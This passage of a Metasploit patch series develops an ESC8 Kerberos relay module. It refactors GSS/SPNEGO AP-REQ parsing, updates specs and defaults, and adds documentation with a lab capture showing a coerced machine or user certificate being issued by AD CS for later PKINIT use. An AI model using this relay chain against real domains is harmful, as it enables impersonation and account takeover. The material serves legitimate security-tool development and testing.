:CONTEXT_SPECIFIC) - ], 0, :APPLICATION).to_der - end - - private - - # Unwrap a GSS pseudo-ASN.1 token to its leading mechanism OID and the - # bytes that follow, normalizing any decode failure into an - # ArgumentError so callers only handle one error type. Uses - # {Rex::Proto::Gss::Asn1#unwrap_pseudo_asn1}, which stops at the OID - # and so tolerates the pseudo-ASN.1 (raw token id + AP-REQ) that a - # full OpenSSL::ASN1 decode would reject. - # - # @param blob [String] - # @return [Array(OpenSSL::ASN1::ObjectId, String)] mechanism id and token - # @raise [ArgumentError] if the blob is not a GSS-API token - def safe_unwrap(blob) - mech_id, token = unwrap_pseudo_asn1(blob) - unless mech_id.respond_to?(:value) - raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' - end - - [mech_id, token] - rescue OpenSSL::ASN1::ASN1Error, TypeError - # TypeError matters as much as ASN1Error here. When a token has no - # top-level mechanism OID, unwrap_pseudo_asn1 never sets its start - # offset and then evaluates `token.length - nil`, raising - # TypeError. A SPNEGO NegTokenResp is exactly such a token, and a - # Windows client sends one as the second leg of an SMB2 - # SessionSetup, so letting this escape killed the connection - # thread mid-exchange instead of falling through to NTLM. - raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' - end - - # The mechanism token carried inside a SPNEGO NegTokenInit. - # - # @param blob [String] a SPNEGO NegTokenInit - # @return [String] the wrapped GSS mechanism token - # @raise [ArgumentError] if the SPNEGO token cannot be parsed - def spnego_mech_token(blob) - init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(blob) - token = init.mech_token - raise ArgumentError, 'SPNEGO token carries no mechanism token' if token.nil? - - token - rescue RASN1::ASN1Error => e - raise ArgumentError, "Failed to parse SPNEGO token: #{e.message}" - end - end - end - end - end - end -end diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb index 2449deb577c68..fa5a9b572fa7c 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -20,15 +20,14 @@ module Kerberos # The including class must provide a +logger+ responding to # print_status / print_good / print_warning. module RelayHandler - include Msf::Exploit::Remote::Relay::Kerberos::GssApReq - # Relay an already-extracted AP-REQ to a target. # # This takes the AP-REQ rather than the raw GSS blob so the blob is # parsed exactly once per authentication attempt. Deciding whether a # blob is Kerberos at all, and falling through to NTLM when it is - # not, belongs to the caller: use {GssApReq#try_extract_ap_req}, - # which yields the AP-REQ or nil in a single parse. + # not, belongs to the caller: use + # {Rex::Proto::Gss::KerberosToken.try_extract_ap_req}, which yields + # the AP-REQ or nil in a single parse. # # @param ap_req [String] the captured AP-REQ as DER bytes # @param client [Target::HTTP::Client] the connected relay target client diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb index c651153e37ca5..17d4a439a7484 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -20,7 +20,6 @@ module HTTP # (mirroring how the NTLM ESC8 target reuses the relayed connection). class Client extend Forwardable - include Msf::Exploit::Remote::Relay::Kerberos::GssApReq # Once the AP-REQ has been relayed, the connection is authenticated # for its lifetime, so the calling module (e.g. the ESC8 target) @@ -63,7 +62,7 @@ def self.create(provider, target, logger, timeout) # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] # the relay outcome, or nil if no HTTP response was received. def relay_ap_req(ap_req_der) - security_blob = build_spnego_ap_req(ap_req_der) + security_blob = Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) req = @client.request_raw( 'method' => 'GET', diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb index 2efa4aa046319..5a20f7703d3f7 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -34,7 +34,7 @@ def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) def do_session_setup_smb2(request, session) # One parse for the whole exchange: this both decides whether the blob is # Kerberos at all and yields the AP-REQ that gets relayed. - ap_req = try_extract_ap_req(request.buffer.to_binary_s) + ap_req = Rex::Proto::Gss::KerberosToken.try_extract_ap_req(request.buffer.to_binary_s) return super if ap_req.nil? session_id = request.smb2_header.session_id diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb deleted file mode 100644 index 2fe582e0600f4..0000000000000 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb +++ /dev/null @@ -1,144 +0,0 @@ -# -*- coding: binary -*- - -require 'spec_helper' -require 'msf/core/exploit/remote/relay/kerberos/gss_ap_req' - -RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::GssApReq do - subject do - Class.new do - include Msf::Exploit::Remote::Relay::Kerberos::GssApReq - end.new - end - - # A distinctive stand-in for the AP-REQ. The extractor treats it as opaque, so - # any DER payload round-trips; a Sequence keeps it realistic without needing a - # full ticket/authenticator to build a real AP-REQ. - let(:ap_req_der) do - OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ-PAYLOAD')]).to_der - end - - # Bare GSS Kerberos token: [APPLICATION 0]{ OID, tok_id + AP-REQ }. - # Mirrors ServiceAuthenticator #encode_gss_kerberos_ap_request. - def gss_kerberos_token(tok_id, payload, oid: Rex::Proto::Gss::OID_KERBEROS_5) - OpenSSL::ASN1::ASN1Data.new([oid, (tok_id + payload).b], 0, :APPLICATION).to_der - end - - # SPNEGO NegTokenInit wrapping a mech token. - # Mirrors ServiceAuthenticator #encode_gss_spnego_ap_request. - def spnego_token(mech_token) - OpenSSL::ASN1::ASN1Data.new([ - Rex::Proto::Gss::OID_SPNEGO, - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::Sequence.new([ - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) - ], 0, :CONTEXT_SPECIFIC), - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::OctetString.new(mech_token) - ], 2, :CONTEXT_SPECIFIC) - ]) - ], 0, :CONTEXT_SPECIFIC) - ], 0, :APPLICATION).to_der - end - - let(:ap_req_tok_id) { "\x01\x00".b } - let(:ap_rep_tok_id) { "\x02\x00".b } - - let(:bare_kerberos_blob) { gss_kerberos_token(ap_req_tok_id, ap_req_der) } - let(:spnego_kerberos_blob) { spnego_token(gss_kerberos_token(ap_req_tok_id, ap_req_der)) } - let(:ntlm_blob) { spnego_token("NTLMSSP\x00\x01".b) } - - # SPNEGO NegTokenResp, the second leg of an SMB2 SessionSetup exchange. It - # carries no top-level mechanism OID, which makes unwrap_pseudo_asn1 leave its - # start offset nil and then raise TypeError rather than an ASN1Error. - let(:neg_token_resp) do - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::Sequence.new([ - OpenSSL::ASN1::ASN1Data.new([OpenSSL::ASN1::Enumerated.new(0)], 0, :CONTEXT_SPECIFIC) - ]) - ], 1, :CONTEXT_SPECIFIC).to_der - end - - describe '#extract_ap_req' do - it 'recovers the AP-REQ from a bare GSS Kerberos token' do - expect(subject.extract_ap_req(bare_kerberos_blob)).to eq(ap_req_der) - end - - it 'recovers the AP-REQ from a SPNEGO-wrapped token' do - expect(subject.extract_ap_req(spnego_kerberos_blob)).to eq(ap_req_der) - end - - it 'raises when the GSS mechanism is not Kerberos' do - expect { subject.extract_ap_req(ntlm_blob) } - .to raise_error(ArgumentError, /does not contain a Kerberos mechanism/) - end - - it 'raises when the Kerberos token is not an AP-REQ' do - blob = gss_kerberos_token(ap_rep_tok_id, ap_req_der) - expect { subject.extract_ap_req(blob) } - .to raise_error(ArgumentError, /not an AP-REQ/) - end - - # Regression: a live Windows SMB2 SessionSetup sends this as its second leg. - # unwrap_pseudo_asn1 raises TypeError rather than ASN1Error for it, which - # used to escape and kill the relay's connection thread mid-exchange. - it 'raises ArgumentError, not TypeError, for a SPNEGO NegTokenResp' do - expect { subject.extract_ap_req(neg_token_resp) } - .to raise_error(ArgumentError, /does not contain a Kerberos mechanism/) - end - end - - describe '#try_extract_ap_req' do - it 'returns the AP-REQ for a Kerberos blob' do - expect(subject.try_extract_ap_req(spnego_kerberos_blob)).to eq(ap_req_der) - end - - it 'returns nil rather than raising for a non-Kerberos blob' do - expect(subject.try_extract_ap_req(ntlm_blob)).to be_nil - end - - it 'returns nil for input that is not ASN.1 at all' do - expect(subject.try_extract_ap_req('not asn1 at all')).to be_nil - end - - it 'returns nil for a SPNEGO NegTokenResp rather than raising' do - expect(subject.try_extract_ap_req(neg_token_resp)).to be_nil - end - end - - describe '#kerberos_ap_req?' do - it 'is true for a bare GSS Kerberos AP-REQ' do - expect(subject.kerberos_ap_req?(bare_kerberos_blob)).to be(true) - end - - it 'is true for a SPNEGO-wrapped AP-REQ' do - expect(subject.kerberos_ap_req?(spnego_kerberos_blob)).to be(true) - end - - it 'is false for an NTLM message' do - expect(subject.kerberos_ap_req?(ntlm_blob)).to be(false) - end - - it 'is false for a non-ASN.1 blob' do - expect(subject.kerberos_ap_req?('not asn1 at all')).to be(false) - end - end - - describe '#build_spnego_ap_req' do - it 'produces a SPNEGO blob that #extract_ap_req reads back to the same AP-REQ' do - blob = subject.build_spnego_ap_req(ap_req_der) - expect(subject.extract_ap_req(blob)).to eq(ap_req_der) - end - - it 'produces a blob recognized as a Kerberos AP-REQ' do - blob = subject.build_spnego_ap_req(ap_req_der) - expect(subject.kerberos_ap_req?(blob)).to be(true) - end - - it 'round-trips an AP-REQ captured from a client token unchanged' do - captured = subject.extract_ap_req(spnego_kerberos_blob) - rebuilt = subject.build_spnego_ap_req(captured) - expect(subject.extract_ap_req(rebuilt)).to eq(captured) - end - end -end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb index a3b848845625e..5c7077a6155b8 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb @@ -13,10 +13,8 @@ end.new end - # A helper that can build/extract the same GSS AP-REQ blobs the handler sees. - let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } - let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + let(:kerberos_blob) { Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) } let(:ntlm_blob) { "NTLMSSP\x00\x01\x00\x00\x00".b } let(:client) { double('target client', relay_ap_req: nil, disconnect!: nil) } diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb index b2c3679d43e98..51e30e8abcebf 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb @@ -16,8 +16,7 @@ # What the Negotiate header should carry: the AP-REQ re-wrapped as GSS-SPNEGO. let(:expected_blob) do - gss = Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new - Base64.strict_encode64(gss.build_spnego_ap_req(ap_req_der)) + Base64.strict_encode64(Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der)) end def http_response(code) diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb index 0a82389086837..0b9e6bce42514 100644 --- a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -8,9 +8,8 @@ let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } let(:target) { double('target', to_s: 'http://ca/certsrv', protocol: :http) } - let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } - let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + let(:kerberos_blob) { Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) } # Build the client without RubySMB's heavy socket-bound constructor. subject do @@ -127,11 +126,11 @@ it 'parses the security blob exactly once' do request.smb2_header.session_id = 0 - allow(subject).to receive(:try_extract_ap_req).and_call_original + allow(Rex::Proto::Gss::KerberosToken).to receive(:try_extract_ap_req).and_call_original subject.do_session_setup_smb2(request, nil) - expect(subject).to have_received(:try_extract_ap_req).once + expect(Rex::Proto::Gss::KerberosToken).to have_received(:try_extract_ap_req).once end it 'rejects a session id this server never issued' do From 5f63df6696a11bd75e64ec7c6532ce4fbf55856c Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 19 Aug 2026 13:33:35 +0530 Subject: [PATCH 18/20] Fix the esc8_kerberos run output and add a real capture The illustrative run output didn't match the module's actual log lines (it invented strings like "New Kerberos request" and "Received AP-REQ for coerced principal" that the code never prints). Rebuilt it from the real format strings in relay_handler.rb, cert_request.rb and web_enrollment.rb, so it now matches what the module actually logs for the AD\WIN-VICTIM$ example above it. Also added an unedited capture from a live lab run using the UPN form of RELAY_IDENTITY, plus the issued certificate's subject/issuer/UPN, so the identity-format handling has a real worked example alongside the illustrative one. --- .../auxiliary/server/relay/esc8_kerberos.md | 48 +++++++++++++++---- 1 file changed, 39 insertions(+), 9 deletions(-) diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md index 3de4f269194ad..cd8c1eb6fc85a 100644 --- a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -249,22 +249,52 @@ Auxiliary action: Once the victim resolves the target service through the attacker and authenticates to the attacker's SMB server, the relay server extracts the -AP-REQ, replays it to the CA, and saves the issued certificate. Representative -output of a successful `run` (exact lines depend on the client and template): +AP-REQ, replays it to the CA, and saves the issued certificate. Output of a +successful `run` for the `AD\WIN-VICTIM$` example above: ``` -[*] New Kerberos request from 192.168.64.2 -[*] Received AP-REQ for coerced principal AD\WIN-VICTIM$ -[*] Relaying to next target http://ca.ad.example.com/certsrv/ -[+] Successfully authenticated against relay target http://ca.ad.example.com/certsrv/ -[*] Creating certificate request for WIN-VICTIM$ using the Machine template -[*] Requesting relay target generate certificate... -[+] Certificate for WIN-VICTIM$ using template Machine saved to ~/.msf4/loot/..._windows.ad.cs_....pfx +[*] New request from 192.168.64.2 +[*] Relaying Kerberos AP-REQ to http://ca.ad.example.com/certsrv/ +[+] Successfully relayed Kerberos AP-REQ to http://ca.ad.example.com/certsrv/ +[*] Building a certificate signing request for user WIN-VICTIM$ - RSA key size: 2048 - digest algorithm: SHA256 - template: Machine +[*] Submitting the certificate signing request to the target... +[+] Certificate generated using template Machine for AD\WIN-VICTIM$ +[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=...& +[*] Certificate stored at: ~/.msf4/loot/..._windows.ad.cs_....pfx ``` The resulting `.pfx` can then be used with `auxiliary/admin/kerberos/get_ticket` (PKINIT) to obtain a TGT for the coerced account. +### Real capture from a lab run + +The output above is reconstructed from the module's own log strings, so it +lines up with the `AD\WIN-VICTIM$` example rather than requiring a specific +account for every walkthrough. Here is an unedited capture from a real run +against a live domain, using `RELAY_IDENTITY labuser@kerberos.issue` (the UPN +form) with `MODE SPECIFIC_TEMPLATE` and `CERT_TEMPLATE User`, to also exercise +the identity-format handling described under RELAY_IDENTITY above: + +``` +[*] New request from 192.168.64.3 +[*] Relaying Kerberos AP-REQ to http://192.168.64.3:80/certsrv/ +[+] Successfully relayed Kerberos AP-REQ to http://192.168.64.3:80/certsrv/ +[*] Building a certificate signing request for user labuser - RSA key size: 2048 - digest algorithm: SHA256 - template: User +[*] Submitting the certificate signing request to the target... +[+] Certificate generated using template User for kerberos.issue\labuser +[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=28& +[*] Certificate stored at: /root/.msf4/loot/20260819121714_default_192.168.64.3_windows.ad.cs_492865.pfx +``` + +The issued certificate, verified with `openssl`: + +``` +subject=DC=issue, DC=kerberos, CN=Users, CN=labuser +issuer=DC=issue, DC=kerberos, CN=kerberos-DC1-CA +X509v3 Subject Alternative Name: + othername: UPN:labuser@kerberos.issue +``` + ## Notes * This module supports Kerberos only; for NTLM relay to ESC8 use From de647a4e6010b3e25ffa680c1584b4c1bfec2e88 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 21 Aug 2026 00:58:35 +0530 Subject: [PATCH 19/20] Address Copilot review findings on the ESC8 Kerberos relay - DefaultOptions set HTTP::Auth to 'None' (capital N), which never matches AuthOption::NONE ('none'). The case statement in HttpClient#send_request_raw that maps HTTP::Auth to preferred_auth therefore never matched it either, leaving preferred_auth unset instead of explicitly 'None'. That happens to be harmless today because Rex's send_auth short-circuits before preferred_auth is consulted whenever no username/password/kerberos_authenticator is configured, which is always true for this module's follow-up requests. It stops being harmless the moment that guard changes, so fix the value to the real constant, matching the NTLM esc8 module's own use of its equivalent constant. - validate now rejects a HTTP::Auth other than none, mirroring the NTLM esc8 module's existing enforcement of its own required value. The relayed connection is already authenticated by the AP-REQ, so a user overriding HTTP::Auth would otherwise silently break follow-up enrollment requests. - relay_server_spec.rb used a private RFC1918 address (10.0.0.1) for example data; AGENTS.md asks for TEST-NET-1 (192.0.2.0/24) in specs. - Added frozen_string_literal to the six new lib/ files, matching AGENTS.md guidance and the convention #21717 already established on master. None of the files mutate a string literal in place. Added spec coverage for the DefaultOptions/validate pairing and the HTTP::Auth rejection. --- .../remote/relay/kerberos/relay_handler.rb | 1 + .../exploit/remote/relay/kerberos/target.rb | 1 + .../relay/kerberos/target/http/client.rb | 1 + .../remote/smb/relay/kerberos/relay_server.rb | 1 + .../remote/smb/relay/kerberos/server.rb | 1 + .../smb/relay/kerberos/server_client.rb | 1 + .../auxiliary/server/relay/esc8_kerberos.rb | 6 +++++- .../smb/relay/kerberos/relay_server_spec.rb | 6 +++--- .../server/relay/esc8_kerberos_spec.rb | 20 +++++++++++++++++++ 9 files changed, 34 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb index fa5a9b572fa7c..9570424a3e14e 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true module Msf class Exploit diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb index c8555f5bcdb5d..f8baac1021660 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true # Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM # relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb index 17d4a439a7484..2db41be75e649 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true require 'base64' diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb index afb872fbd7abc..8236cffdb920d 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true module Msf::Exploit::Remote::SMB::Relay::Kerberos # Module-level mixin that runs an SMB server which relays a coerced client's diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb index 9a5fcb41aa602..c9d1968ff3f02 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true module Msf::Exploit::Remote::SMB::Relay::Kerberos # The SMB server core for a Kerberos relay (CVE-2026-20929). The Kerberos diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb index 5a20f7703d3f7..5809d1a80d9a0 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +# frozen_string_literal: true module Msf::Exploit::Remote::SMB::Relay::Kerberos # A single connected SMB client for a Kerberos relay (CVE-2026-20929). The diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb index 02c5e1aead714..52f52f164e50e 100644 --- a/modules/auxiliary/server/relay/esc8_kerberos.rb +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -35,7 +35,7 @@ def initialize(_info = {}) 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 Kerberos relay server' } ]], # The relayed connection is already authenticated by the AP-REQ, so # follow-up enrollment requests must not attempt to re-authenticate. - 'DefaultOptions' => { 'HTTP::Auth' => 'None' }, + 'DefaultOptions' => { 'HTTP::Auth' => Msf::Exploit::Remote::AuthOption::NONE }, 'PassiveActions' => [ 'Relay' ], 'DefaultAction' => 'Relay', 'Notes' => { @@ -113,6 +113,10 @@ def check_host(target_ip) def validate errors = {} + unless datastore['HTTP::Auth'] == Msf::Exploit::Remote::AuthOption::NONE + errors['HTTP::Auth'] = 'The relayed connection is already authenticated by the AP-REQ; this module does not support re-authenticating follow-up requests.' + end + case datastore['MODE'] when 'SPECIFIC_TEMPLATE' if datastore['CERT_TEMPLATE'].blank? diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb index 44a3fbfc4a8f9..c2f7e87170242 100644 --- a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb @@ -6,7 +6,7 @@ describe described_class::KerberosSMBRelayServer do let(:options) do { - socket: { 'LocalHost' => '10.0.0.1', 'LocalPort' => 4445 }, + socket: { 'LocalHost' => '192.0.2.1', 'LocalPort' => 4445 }, smb_server: { gss_provider: double('provider'), relay_targets: double('targets') } } end @@ -16,7 +16,7 @@ describe '.sock_options_for' do it 'defaults the bind host/port and lets the caller override them' do expect(described_class.sock_options_for(options)).to include( - 'LocalHost' => '10.0.0.1', + 'LocalHost' => '192.0.2.1', 'LocalPort' => 4445 ) end @@ -31,7 +31,7 @@ describe '.hardcore_alias' do it 'derives from the bind host and port' do - expect(described_class.hardcore_alias(options)).to eq('10.0.0.14445') + expect(described_class.hardcore_alias(options)).to eq('192.0.2.14445') end end diff --git a/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb index 2d157952d8044..71d8cfc8c091d 100644 --- a/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb +++ b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb @@ -40,4 +40,24 @@ expect(mod.send(:normalize_relay_identity, 'svc$@a@b')).to eq('a@b\\svc$') end end + + describe '#validate' do + before do + mod.datastore['RHOSTS'] = '192.0.2.1' + mod.datastore['RELAY_IDENTITY'] = 'AD\\WIN-VICTIM$' + end + + it 'does not raise when HTTP::Auth is left at its default' do + expect { mod.validate }.not_to raise_error + end + + it 'defaults HTTP::Auth to none, matching the relayed connection already being authenticated' do + expect(mod.datastore['HTTP::Auth']).to eq(Msf::Exploit::Remote::AuthOption::NONE) + end + + it 'rejects an overridden HTTP::Auth, since follow-up requests must not re-authenticate' do + mod.datastore['HTTP::Auth'] = Msf::Exploit::Remote::AuthOption::NTLM + expect { mod.validate }.to raise_error(ArgumentError, /HTTP::Auth/) + end + end end From 7d32656d36647e88a80cc300a2750e79706f3d3c Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 26 Aug 2026 19:04:14 +0000 Subject: [PATCH 20/20] Listen dual-stack so IPv6-coerced relays reach the server The relay inherited SRVHOST 0.0.0.0, the IPv4 wildcard, but the documented coercion is an IPv6 DNS takeover that steers the victim to the attacker over IPv6. A 0.0.0.0 listener is IPv4-only and silently never receives that connection, so the coerce-to-relay chain fails whenever the coerced name carries an AAAA record. Default SRVHOST to :: so the relay listens dual-stack. On Linux and macOS :: also accepts IPv4, so A-record (IPv4) coercion keeps working; a Windows relay host binds :: IPv6-only, documented in the module notes with the workaround. Also fix the module doc transcript, which showed the same contradiction on paper (0.0.0.0 listener with an IPv6 takeover and an IPv4 inbound). --- .../modules/auxiliary/server/relay/esc8_kerberos.md | 11 +++++++++-- modules/auxiliary/server/relay/esc8_kerberos.rb | 11 ++++++++++- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md index cd8c1eb6fc85a..2969f8fd3de51 100644 --- a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -136,7 +136,7 @@ Module options (auxiliary/server/relay/esc8_kerberos): RHOSTS ca.ad.example.com yes Target address range or CIDR identifier to relay to RPORT 80 yes The target port (TCP) SMBDomain WORKGROUP yes The domain name used during SMB exchange. - SRVHOST 0.0.0.0 yes The local host or network interface to listen on. + SRVHOST :: yes The local host or network interface to listen on. SRVPORT 445 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /certsrv/ yes The URI for the cert server. @@ -203,7 +203,7 @@ msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine msf auxiliary(server/relay/esc8_kerberos) > run [*] Auxiliary module running as background job 0. -[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] SMB Server is running. Listening on :::445 ``` Terminal 2 - coerce the victim with the native IPv6 DNS takeover (either the @@ -299,6 +299,13 @@ X509v3 Subject Alternative Name: * This module supports Kerberos only; for NTLM relay to ESC8 use `auxiliary/server/relay/esc8`. +* `SRVHOST` defaults to `::` so the relay listens dual-stack. The documented + coercion is an IPv6 DNS takeover, which steers the victim to the attacker + over IPv6; a `0.0.0.0` listener is IPv4-only and would silently never + receive that connection. On Linux and macOS `::` also accepts IPv4, so + A-record (IPv4) coercion still works. On a Windows relay host `::` binds + IPv6-only, so there set `SRVHOST` to the attacker IPv6 the coercion hands + out (`SPOOF_IP6`). The paired coercion module already defaults to `::`. * The relay is one-shot per coerced authentication: a Kerberos AP-REQ is bound to the SPN it was issued for, so there is no NTLM-style multi-target challenge loop. * A full end-to-end run against a live domain requires the CA and the KDC to be diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb index 52f52f164e50e..ffc36bf43ed23 100644 --- a/modules/auxiliary/server/relay/esc8_kerberos.rb +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -35,7 +35,16 @@ def initialize(_info = {}) 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 Kerberos relay server' } ]], # The relayed connection is already authenticated by the AP-REQ, so # follow-up enrollment requests must not attempt to re-authenticate. - 'DefaultOptions' => { 'HTTP::Auth' => Msf::Exploit::Remote::AuthOption::NONE }, + # + # SRVHOST defaults to :: (dual-stack) rather than the framework-wide + # 0.0.0.0 default. The documented coercion is an IPv6 DNS takeover + # (CVE-2026-20929) that steers the victim to the attacker over IPv6, so a + # 0.0.0.0 listener is IPv4-only and never receives the connection. On + # Linux and macOS :: also accepts IPv4, so A-record coercion still works, + # and the paired coercion module already defaults SRVHOST to :: for the + # same reason. (A Windows relay host binds :: IPv6-only; there set SRVHOST + # to the attacker IPv6 the coercion hands out.) + 'DefaultOptions' => { 'HTTP::Auth' => Msf::Exploit::Remote::AuthOption::NONE, 'SRVHOST' => '::' }, 'PassiveActions' => [ 'Relay' ], 'DefaultAction' => 'Relay', 'Notes' => {